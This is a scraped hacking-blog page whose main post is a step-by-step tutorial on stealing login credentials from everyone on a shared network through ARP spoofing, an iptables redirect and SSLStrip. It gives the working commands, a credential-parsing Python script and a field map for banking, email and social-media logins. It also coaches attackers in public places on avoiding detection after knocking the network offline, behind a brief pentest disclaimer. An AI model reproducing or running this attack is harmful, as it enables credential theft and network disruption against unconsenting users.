<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><br /></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><span id="2238877135876300672"><span style="color: red;">Note:<a href="http://www.cloudscan.me/p/local-file-inclusion-lfi-information.html" target="_blank">For further reading.</a></span> </span></span></div></div>-- <br /><br />
<div dir="ltr">Regards,<br /><br />
Hardeep Singh<br /><br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /></div>

LFI Step by Step guide for LFI (Local File Inclusion): The process of exploiting a website

This tutorial will guide you into the process of exploiting a website thru the LFI (Local File Inclusion). First lets take a look at a ph...

Perl Script for SSLStrip MITM Attack

10/02/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjryxtAz80dWZScndpfrkbEXbKhuo3WiQBJRcOIZzpLTd0Z54aGCft6-dbFdamXulI9MnRGUH4svOXw6DWT9ksxt0WG0JVlFCzGQmO9Wkjh4fRZL_AHJxC7_w76-Ij5O4_wRtikKpvivzgG/s1600/ssl+strip.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjryxtAz80dWZScndpfrkbEXbKhuo3WiQBJRcOIZzpLTd0Z54aGCft6-dbFdamXulI9MnRGUH4svOXw6DWT9ksxt0WG0JVlFCzGQmO9Wkjh4fRZL_AHJxC7_w76-Ij5O4_wRtikKpvivzgG/s640/ssl+strip.jpg" width="640" /></a></div>
<br />
<br />
<div id="post_message_16882">
<br />
I've been using SSLStrip MITM attack a lot recently and decided I am just sick of having to manually configure it so I decided to write a perl script to mostly do it for me or atleast consolidate it in 1 spot. Let me know what you guys think. If anyone notices any bugs let me know so that I can correct them, I've spent the last 2-3hrs testing so it's pretty good from what I can see right now. Nmap option is also included.<br />
<br />
This is not a tutorial of how to do it, that is posted in another location in the intern0t forums.<br />
<br />
Here are the things that are required for this script:<br />
Linux (tested in Ubuntu & Backtrack 4 R2)<br />
Ettercap (specifically etter.conf)<br />
X-term (used b/c Ubuntu & BT4 both have it)<br />
Arpspoof<br />
SSLStrip<br />
Nmap<br />
<br />
**********Start of Disclaimer***********<br />
<br />
I'm not responsible for anything illegal or mischievous that you decide to use this for blah, blah, blah...<br />
Don't blame me, I didn't force you to use it.<br />
**********End of Disclaimer************<br />
<br />
<div class="content shadow-radial">
Code: <a href="http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz" target="_blank">Download Here.</a></div>
</div>
<br />
<br />
<br />
Hope this helps everyone, let me know if you have any suggestions. Thanks.<br />
<span style="color: red;">Note:</span> <a href="http://it-2on3.blogspot.com/2011/01/sslstrip-tutorial.html" target="_blank">For further reading.</a><br />
<br />
<div class="MsoNormal">
Regards,</div>
<div class="MsoNormal">
Hardeep Singh</div>
<div class="MsoNormal">
(<a href="http://www.fb.com/h4rdeep">www.fb.com/h4rdeep</a>)</div>
</div>

Perl Script for SSLStrip MITM Attack

I've been using SSLStrip MITM attack a lot recently and decided I am just sick of having to manually configure it so I decided to...

Stealing Credentials via MITM Attacks -- ARPSpoof + SSLStrip + IPTables

10/01/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; color: #3e3e3e; font-family: Tahoma,Calibri,Verdana,Geneva,sans-serif; font-size: 13px; line-height: 15px;"></span><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga6XZY8k9-CWPXVozMYM_rDWuWw780nOMEwubms1FYtiZr7LGnPGF6E2weHpkfVsPZ_SU9Mt6xH0j7k6UQ-EqWhLRH4QCHW_etdAo8g4ikkDD95sTEtRyGiHieByBAjZxD1PyWGJ-WtwZU/s1600/arp+poisoning.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga6XZY8k9-CWPXVozMYM_rDWuWw780nOMEwubms1FYtiZr7LGnPGF6E2weHpkfVsPZ_SU9Mt6xH0j7k6UQ-EqWhLRH4QCHW_etdAo8g4ikkDD95sTEtRyGiHieByBAjZxD1PyWGJ-WtwZU/s640/arp+poisoning.jpg" width="472" /></a></div><br /><br /><div class="postbody" style="background-color: #fafafa; background-image: none; clear: both; color: #333333; margin: 0px; padding: 0px;"><div class="postrow" style="font: 13px Verdana,Arial,Tahoma,Calibri,Geneva,sans-serif; margin: 0px; overflow: auto; padding: 5px 10px 3em;"><h2 class="posttitle icon" style="border-bottom: 1px solid rgb(200, 200, 200); display: block; font: bold 14px Tahoma,Calibri,Verdana,Geneva,sans-serif; margin: 0px 0px 5px; padding: 10px 10px 5px;"><br /></h2><div class="content" style="margin: 0px; padding: 0px;"><div id="post_message_12962" style="margin: 0px; padding: 0px;"><blockquote class="postcontent restore" style="margin: 0px; padding: 0px; word-wrap: break-word;">Greetings, ladies and gentlemen. Today we'll be learning about a couple of interesting tools and how they can be used to steal data from network users. Specifically, we'll be going after login credentials to various secure sites, such as facebook and capital-one (the credit-card company).<br /><br /><span style="color: red;"><b>NOTE: This tutorial is intended to instruct current and up-and-coming pen-testers on methods that can be used to determine security on specific networks which they have permission to attack. Executing this attack without permission is illegal, and I do not personally condone such behavior.</b></span><br /><br /><br />There is a video that tells you how this attack works, for those of you too impatient to sit and read, but this tutorial will include more specific information which the video does not reveal, as well as a script specifically written to make life simpler when executing this attack.<br /><br />The video can be found here: <a href="http://www.hak5.org/hack/strip-out-ssl-security-with-a-man-in-the-middle-attack" style="color: #417394; text-decoration: none;" target="_blank">Hak5 SSLStrip Tutorial</a><br /><br />Go ahead, view the video. The rest of the class will wait here patiently until you return.<br /><br />...<br /><br />Did you watch it? Good. Now let's learn more about it.<br /><br />In today's lesson we're going to need the following tools:<br /><ul style="margin: 1em 1em 1em 2em; padding: 0px;"><li style="list-style-position: outside; list-style-type: disc; margin: 0px; padding: 0px;">A Linux OS (<a href="http://www.backtrack-linux.org/" style="color: #417394; text-decoration: none;" target="_blank">click</a>)</li><li style="list-style-position: outside; list-style-type: disc; margin: 0px; padding: 0px;">Arpspoof (<a href="http://arpspoof.sourceforge.net/" style="color: #417394; text-decoration: none;" target="_blank">click</a>)</li><li style="list-style-position: outside; list-style-type: disc; margin: 0px; padding: 0px;">IPTables (<a href="http://www.netfilter.org/projects/iptables/index.html" style="color: #417394; text-decoration: none;" target="_blank">click</a>)</li><li style="list-style-position: outside; list-style-type: disc; margin: 0px; padding: 0px;">SSLStrip (<a href="http://www.thoughtcrime.org/software/sslstrip/" style="color: #417394; text-decoration: none;" target="_blank">click</a>)</li><li style="list-style-position: outside; list-style-type: disc; margin: 0px; padding: 0px;">Netstat (<a href="http://www.netstat.net/" style="color: #417394; text-decoration: none;" target="_blank">click</a>)</li></ul>Each of these requirements might have other requirements of its own, however you can find ALL of these tools (and many more) preinstalled in the BackTrack Linux Distribution (see the link next to "A Linux OS" above).<br /><br />So, if you don't have it yet, I highly suggest you go download BackTrack now. Yes, now. Go ahead.<br /><br />...<br /><br />Got it? Good.<br /><br />Now, on to business.<br /><br />What we're going to do today is perform a basic Man-In-The-Middle (MITM) attack on the users of our unsuspecting Target Network.<br /><br /><span style="font-size: small;"><span style="color: red;"><b>What is a Man-In-The-Middle attack?</b></span></span><br /><br />I'm glad you asked. Here's a definition from our trusty friend, Wikipedia:<br /><br />"In cryptography, a man-in-the-middle attack ... is a form of active eavesdropping in which the attacker makes independent connections with the victims and relays messages between them, making them believe that they are talking directly to each other over a private connection, when in fact the entire conversation is controlled by the attacker."<br /><br />In layman's terms, a MITM attack places the attacker between two unsuspecting targets, allowing him or her to intercept their communications.<br /><br /><span style="font-size: small;"><span style="color: red;"><b>So how does one perform one of these attacks?</b></span></span><br /><br />Good question. There are many ways of performing man-in-the-middle attacks, especially on computer networks. Today we're going to focus on one called "ARP Spoofing" or "ARP Cache Poisoning."<br /><br />To understand how this works, I'll give you a little bit of background.<br /><br /><b>ARP Spoofing</b> takes advantage of vulnerabilities in the <b>Address Resolution Protocol</b>. This protocol (ARP) basically helps systems on a network determine what IPs are associated with what MAC addresses.<br /><br />When a computer connects to a network, it needs certain information to allow it to get online. For example, it needs to know the IP of the gateway, where it will route all traffic. But knowing an IP is worthless unless you have a MAC address you can link it to. Without a MAC, an IP is simply a number, and systems won't know which interface or which system to communicate with.<br /><br />So, for example, let's say you hook your computer to the local wifi. Here's what happens:<br /><br /><ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;"><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Your computer will connect to the network, then will ask for the default gateway's MAC address via ARP. (Hi, I'm new here, who owns this place?)</li><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">The router will see the ARP request, and send its MAC address. (Hey! I'm the router. Anything you need, you come to me first.)</li><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">The computer will assign that MAC to the router's IP, and will continue on its merry way.</li></ol><br />Thing is, systems don't just ask for the MAC once -- sometimes errors happen, sometimes routing tables change, so it is necessary to occasionally update the ARP tables to make sure they're up-to-date.<br /><br />ARP Spoofing allows us to take advantage of this. Here's how that works:<br /><br /><ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;"><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Your computer asks for the MAC for the gateway. (Hey, haven't seen router around, anyone know where he is? Just want to make sure he's still here.)</li><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">The attacker will step in and claim to be the router. (Hi! I'm the new owner, you can talk to me.)</li><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Your computer will blindly accept this claim! (Oh, cool! Nice to meet you!)</li><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Meanwhile, when the real router shows up, the attacker's system will pretend to be your computer. (Hey! How's it going? So-and-so asked me to take his place, so if you don't mind, you can talk through me.)</li><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">The router will also blindly accept this claim. (Cool, cool. Let him know I said hi!)</li></ol><br />At this point, the attacker's computer has tricked the victim into thinking that it is actually the router, and has tricked the router into thinking it is the victim! So now, when the victim and router decide to talk, they end up speaking with you instead, allowing you to know everything they're saying (and change it up).<br /><br /><span style="font-size: small;"><span style="color: red;"><b>So how do I become the man-in-the-middle?</b></span></span><br /><br />I'm getting to that! Be patient!<br /><br />So in order to use ARP poisoning to become the MITM, you would need to perform the following steps:<br /><br /><ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;"><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Set up port-forwarding on your Linux box. <ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;"><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;"><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;"><div class="bbcode_description" style="margin: 0px; padding: 0px;">Code:</div><pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">echo '1' > /proc/sys/net/ipv4/ip_forward</pre></div></li><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">This tells your computer to forward any packets that weren't intended for your machine.</li></ol></li><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Find out which system on your network is the gateway (e.g. router). <ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;"><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;"><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;"><div class="bbcode_description" style="margin: 0px; padding: 0px;">Code:</div><pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">netstat -nr</pre></div></li><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">This will inform you about which IP belongs to the gateway. Usually it's something like 192.168.1.1.</li></ol></li><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Use ARP Spoof to put yourself between the router and all other systems on the network. <ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;"><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;"><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;"><div class="bbcode_description" style="margin: 0px; padding: 0px;">Code:</div><pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">arpspoof -i wlan0 192.168.1.1</pre></div></li><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">You will need to change "wlan0" to reference whatever device is currently connected to the network -- usually eth0 or wlan0.</li><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">You will need to change "192.168.1.1" to the IP of the gateway through which your system connects. (See step 2.)</li><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">If you watched the Hak5 video above, you'll notice that we didn't define a target via the "-t" option. In the Hak5 video, they were attacking a specific target. In THIS tutorial, we're attacking the entire network.</li><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;"><span style="color: red;"><b>NOTE: Under heavy loads, using arpspoof on an entire network can cause the network to crash, making the internet unavailable to all users. This makes it pretty obvious that something is up, and sysadmins will be doing what they can to fix the problem. Should this ever occur, stop the arpspoof process using 'ctrl-c' and wait a moment. The network should start working again, once the router informs everyone of its MAC. Then you can start your attack again, if you're so bold. (If you're worried about being caught, e.g. in a library or public place, just pretend like you're having trouble too and most people will ignore you.)</b></span></li></ol></li></ol>Having executed these steps, you will begin to see ARP Spoof actively rerouting all traffic through your system. You have now successfully become the Man in the Middle!<br /><br /><span style="font-size: small;"><span style="color: red;"><b>But how do I take advantage of this position?</b></span></span><br /><br />Well, from this point, we can easily use tools like <a href="http://www.wireshark.org/" style="color: #417394; text-decoration: none;" target="_blank">wireshark</a> to sniff all network traffic and see what everyone's up to. Or we can reconfigure our firewall setup to deny access to specific IPs, effectively booting them off the network. Or we could use tools like <a href="http://www.inguardians.com/tools/" style="color: #417394; text-decoration: none;" target="_blank">the middler</a> to actively change the traffic going through the network!<br /><br />But we're not going to talk about those tools today -- that would be another tutorial altogether. Today we're going to learn how to use a fun tool called SSL Strip to steal login credentials from users.<br /><br /><span style="font-size: small;"><span style="color: red;"><b>What is SSL Strip?</b></span></span><br /><br />SSL Strip is a tool written by <a href="http://www.thoughtcrime.org/" style="color: #417394; text-decoration: none;" target="_blank">Moxie Marlinspike</a> and released at Black Hat DC 2009. It basically reroutes encrypted HTTPS requests from network users to plaintext HTTP requests, effectively sniffing all credentials passed along the network via SSL. The way it does this is it lets users connect via HTTP, logs their information, then redirects their connection to the originally-intended HTTPS server on the internet.<br /><br />This all happens on the fly, and is practically invisible to users. The only way to notice is by checking the URL in the address bar: where normally it would display HTTPS, it will now display HTTP instead. (But on some sites, like Facebook, Myspace, and many others, the URL will never display HTTPS, so this attack will be impossible to detect by simply checking the URL.)<br /><br /><span style="font-size: small;"><span style="color: red;"><b>So how do we execute this attack?</b></span></span><br /><br />Here's how:<br /><br /><ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;"><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">First things first -- we need to set up a firewall rule (via iptables) to redirect requests from port 80 to port 8080 -- this will ensure that our outgoing connections (from SSL Strip) get routed to the proper port. <ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;"><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;"><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;"><div class="bbcode_description" style="margin: 0px; padding: 0px;">Code:</div><pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080</pre></div></li></ol></li><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Now that we've got our firewall setup, we need to execute the MITM instructions listed earlier. <ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;"><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;"><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;"><div class="bbcode_description" style="margin: 0px; padding: 0px;">Code:</div><pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 48px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">echo '1' > /proc/sys/net/ipv4/ip_forward arpspoof -i wlan0 192.168.1.1</pre></div></li></ol></li><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">Once arpspoof starts running, open a new terminal and start SSL Strip. <ol class="decimal" style="margin: 1em 1em 1em 2em; padding: 0px;"><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;"><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;"><div class="bbcode_description" style="margin: 0px; padding: 0px;">Code:</div><pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">sslstrip -k -l 8080</pre></div></li><li style="list-style-position: outside; list-style-type: decimal; margin: 0px; padding: 0px;">The "-k" designator tells the system to kill all currently active sessions, forcing users to re-login to their websites.</li></ol></li></ol>Now that we've started our MITM attack and got SSL Strip actively intercepting packets, all we have to do is sit and wait. SSL Strip will run as long as you want it to, and it will log all captured information in a file called sslstrip.log.<br /><br />If you want to watch this file as it grows, you can use the 'tail' command. This is a fun tool that helps you watch logfiles as they're modified in real-time.<br /><br /><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;"><div class="bbcode_description" style="margin: 0px; padding: 0px;">Code:</div><pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">tail -f sslstrip.log</pre></div>The "-f" modifier tells tail to follow the file until you tell it to stop.<br /><br /><span style="font-size: small;"><span style="color: red;"><b>Sweet! I've intercepted lots of traffic! Now what?</b></span></span><br /><br />Once you're done with your attack, use the <b>ctrl-c</b> key combination to kill the 'tail,' 'sslstrip,' and 'arpspoof' processes. The sslstrip.log file will remain, and the system will stop being the MITM.<br /><br /><span style="color: red;"><b>NOTE: As soon as the arpspoof process is ended, the network will go down temporarily. This is because arpspoof doesn't automatically repopulate ARP tables with the router's proper MAC, so systems are left in the dark until the router gets around to telling everyone its address. This problem shouldn't last long, but it happens to ALL systems on the network -- so it's best to play along (as if you're having trouble too). Immediately fleeing the premises is a pretty obvious clue that you had something to do with the outage.</b></span><br /><br />After shutting down all processes and disconnecting from the network, you can safely go home and analyze the logfile you've made. It might look like a bunch of gobbledygook:<br /><br /><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;"><div class="bbcode_description" style="margin: 0px; padding: 0px;">Code:</div><pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 48px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">2010-06-27 20:38:24,482 SECURE POST Data (<a href="http://login.facebook.com/">login.facebook.com</a>): charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&locale=en_US&email=user%<a href="http://40email.com/">40email.com</a>&pass=password&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&lsd=H2cF2</pre></div>But if you look closely, you'll notice that the username and password used to log into the site are there, plain as day!<br /><br />Of course, it's not easy parsing through huge files full of this kind of garbage, and often times we encounter sites we don't need to see.<br /><br /><span style="font-size: small;"><span style="color: red;"><b>What can we do about this problem?</b></span></span><br /><br />Well lucky for you, I've already written a tool specifically to parse the sslstrip.log files! Here's the source code (it's in python):<br /><br /><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;"><div class="bbcode_description" style="margin: 0px; padding: 0px;">Code:</div><pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 372px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">#!/usr/bin/env python  ##################### # ParseLog.py # # By <a href="mailto:z3ros3c@gmail.com">z3ros3c@gmail.com</a> #####################  """ This file parses the sslstrip.log created by     sslstrip for usernames and passwords (and other     interesting information) defined in the file     resources/definitions.sslstrip. It will also     give you a complete list of all unknown information,     with the exception of anything listed in the file     resources/blacklist.sslstrip. """  from urllib import unquote  getIP = lambda origin: origin[origin.find('(')+1:origin.find(')')]  blacklist = [] accounts = [] definitions = {}  def getDefs(defs):   d = {}   for definition in defs:     tmp = definition.split('|')     a = tmp.pop(0)     b = tmp.pop()     if('\n' in b):       b = b[:-1]     tmp.append(b)     d[a] = tmp[:]   return d  def getAllVars(line):   while('&&' in line):     line = line.replace('&&','&')   vars = {}   tmp = line.split('&')   for var in tmp:     try:       (a,b) = var.split('=')       if('$' in unquote(a)):         a = unquote(a).split('$').pop()       if('\n' in unquote(b)):         b = unquote(b)[:-1]       vars[unquote(a)] = unquote(b)     except:       pass   return vars  def process(origin,line):   origin = getIP(origin)   if(origin not in blacklist):     vars = getAllVars(line)     if(origin in definitions):       definition = definitions[origin][:]       name = definition.pop(0)       account = "(%s) " % name       for variable in definition:         try:           v = vars[variable]         except:           v = 'UNDEFINED'         account += "%s = %s :: " % (variable,v)       if('UNDEFINED' not in account):         if(account not in accounts):           accounts.append(account)           account += "**NEW**"         print(account)     else:       print("Unknown:\t%s" % origin)       for var in vars:         if(vars[var] != ""):           print("\t%s:\t%s" % (var,vars[var])) try:   lines = open('sslstrip.log','r').readlines() except:   lines = [] try:   blacklist = open('resources/blacklist.sslstrip','r').read().split('\n') except:   print("--blacklist not defined--") try:   accounts = open('accounts.txt','r').read().split('\n') except:   pass try:   definitions = getDefs(open('resources/definitions.sslstrip','r').readlines()) except:   pass  try:   line = lines.pop(0)   while(1):     while('POST' not in line):       try:         line = lines.pop(0)       except:         break     process(line,lines.pop(0))     try:       line = lines.pop(0)     except:       break except:   print("Empty logfile.")  output = open('accounts.txt','w') accounts.sort() for account in accounts:   if(account != ''):     output.write(account + '\n')</pre></div>This script uses a definitions file and a blacklist file (named "definitions.sslstrip" and "blacklist.sslstrip" respectively) to weed out the information you need.<br /><br />These files are stored in a subdirectory called "resources".<br /><br />Here's what they look like:<br />(resources/blacklist.sslstrip)<br /><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;"><div class="bbcode_description" style="margin: 0px; padding: 0px;">Code:</div><pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 156px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;"><a href="http://sup.live.com/">sup.live.com</a> <a href="http://svcs.ebay.com/">svcs.ebay.com</a> <a href="http://toolbar.zynga.com/">toolbar.zynga.com</a> <a href="http://touch.facebook.com/">touch.facebook.com</a> <a href="http://urlcheck.hulu.com/">urlcheck.hulu.com</a> <a href="http://uts.amazon.com/">uts.amazon.com</a> <a href="http://webmail.aol.com/">webmail.aol.com</a> <a href="http://www.adotube.com/">http://www.adotube.com/</a> <a href="http://www.facebook.com/">http://www.facebook.com/</a> <a href="http://www.overstock.com/">http://www.overstock.com/</a> <a href="http://www.slideshare.net/">http://www.slideshare.net/</a></pre></div>Simply add each URL that you wish to ignore, and it'll prevent the script from parsing those URLs.<br /><br />(resources/definitions.sslstrip)<br /><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;"><div class="bbcode_description" style="margin: 0px; padding: 0px;">Code:</div><pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 372px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;"><a href="http://accounts.craigslist.org/">accounts.craigslist.org</a>|CraigsList|inputEmailHandle|inputPassword <a href="http://digg.com/">digg.com</a>|Digg|username|password <a href="http://en.wikipedia.org/">en.wikipedia.org</a>|Wikipedia|wpName|wpPassword <a href="http://en.wordpress.com/">en.wordpress.com</a>|WordPress|log|pwd <a href="http://hi5.com/">hi5.com</a>|Hi5|email|password <a href="http://imgur.com/">imgur.com</a>|Imgur|username|password <a href="http://login.aeriagames.com/">login.aeriagames.com</a>|AeriaGames|edit[name]|edit[pass] <a href="http://login.capitalone.com/">login.capitalone.com</a>|Capital One|user|password <a href="http://login.facebook.com/">login.facebook.com</a>|Facebook|email|pass <a href="http://login.live.com/">login.live.com</a>|Microsoft Live|login|passwd <a href="http://login.photobucket.com/">login.photobucket.com</a>|PhotoBucket|loginForm[usernameemail]|loginForm[password] <a href="http://login.skype.com/">login.skype.com</a>|Skype|username|password <a href="http://login.yahoo.com/">login.yahoo.com</a>|Yahoo!|login|passwd <a href="http://my.screenname.aol.com/">my.screenname.aol.com</a>|AIM|loginId|password <a href="http://my.t-mobile.com/">my.t-mobile.com</a>|T-Mobile|txtMSISDN|txtPassword <a href="http://mysprint.sprint.com/">mysprint.sprint.com</a>|Sprint|USER|PASSWORD <a href="http://secure.imdb.com/">secure.imdb.com</a>|IMDB|login|password <a href="http://secure.imvu.com/">secure.imvu.com</a>|IMVU|avatarname|password <a href="http://secure.meetup.com/">secure.meetup.com</a>|MeetUp|email|password <a href="http://secure.myspace.com/">secure.myspace.com</a>|Myspace|Email_Textbox|Password_Textbox <a href="http://signin.ebay.com/">signin.ebay.com</a>|Ebay|userid|pass <a href="http://slashdot.org/">slashdot.org</a>|Slashdot|unickname|upasswd <a href="http://twitter.com/">twitter.com</a>|Twitter|session[username_or_email]|session[password] <a href="http://us.battle.net/">us.battle.net</a>|BattleNet|accountName|password <a href="http://www.amazon.com/">http://www.amazon.com/</a>|Amazon|email|password <a href="http://www.blogger.com/">http://www.blogger.com/</a>|Blogger|Email|Passwd <a href="http://www.charter.com/">http://www.charter.com/</a>|Charter.com|txtMyAcctV3UserName|txtMyAcctV3Pass|txtHorWideZipCodeV3 <a href="http://www.demonoid.com/">http://www.demonoid.com/</a>|Demonoid|nickname|password <a href="http://www.deviantart.com/">http://www.deviantart.com/</a>|DeviantArt|username|password <a href="http://www.formspring.me/">http://www.formspring.me/</a>|FormSpring|username|password <a href="http://www.friendster.com/">http://www.friendster.com/</a>|Friendster|email|password <a href="http://www.google.com/">http://www.google.com/</a>|Google|Email|Passwd <a href="http://www.linkedin.com/">http://www.linkedin.com/</a>|LinkedIn|session_key|session_password <a href="http://www.mininova.org/">http://www.mininova.org/</a>|MiniNova|name|password <a href="http://www.netflix.com/">http://www.netflix.com/</a>|NetFlix|email|password1 <a href="http://www.paypal.com/">http://www.paypal.com/</a>|PayPal|login_email|login_password <a href="http://www.progressive.com/">http://www.progressive.com/</a>|Progressive|user1|PWDpassword1 <a href="http://www.reddit.com/">http://www.reddit.com/</a>|Reddit|user|passwd <a href="http://www.stumbleupon.com/">http://www.stumbleupon.com/</a>|StumbleUpon|username|password</pre></div>As you can see, each definition is listed in the following manner:<br /><br /><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;"><div class="bbcode_description" style="margin: 0px; padding: 0px;">Code:</div><pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">URL|Name Of Site|username_variable|password_variable|other_variables</pre></div>It's relatively easy to add new definitions as you discover them!<br /><br />Once you've got these files set up, all you have to do is put the sslstrip.log file in the same directory as the parselog.py script, then run it.<br /><br /><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;"><div class="bbcode_description" style="margin: 0px; padding: 0px;">Code:</div><pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">parselog.py | less</pre></div>(I pipe the output to the 'less' so that I can parse the resulting output easier.)<br /><br />You'll see output similar to the following:<br /><br /><div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;"><div class="bbcode_description" style="margin: 0px; padding: 0px;">Code:</div><pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 36px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">(Facebook) email = <a href="mailto:user@email.com">user@email.com</a> :: pass = password :: **NEW**</pre></div>The script will print all discovered logins (marking new logins as **NEW**) as well as all unknown URLs found. These unknown URLs can be used to help you define new entries for the 'definitions.sslstrip' list.<br /><br 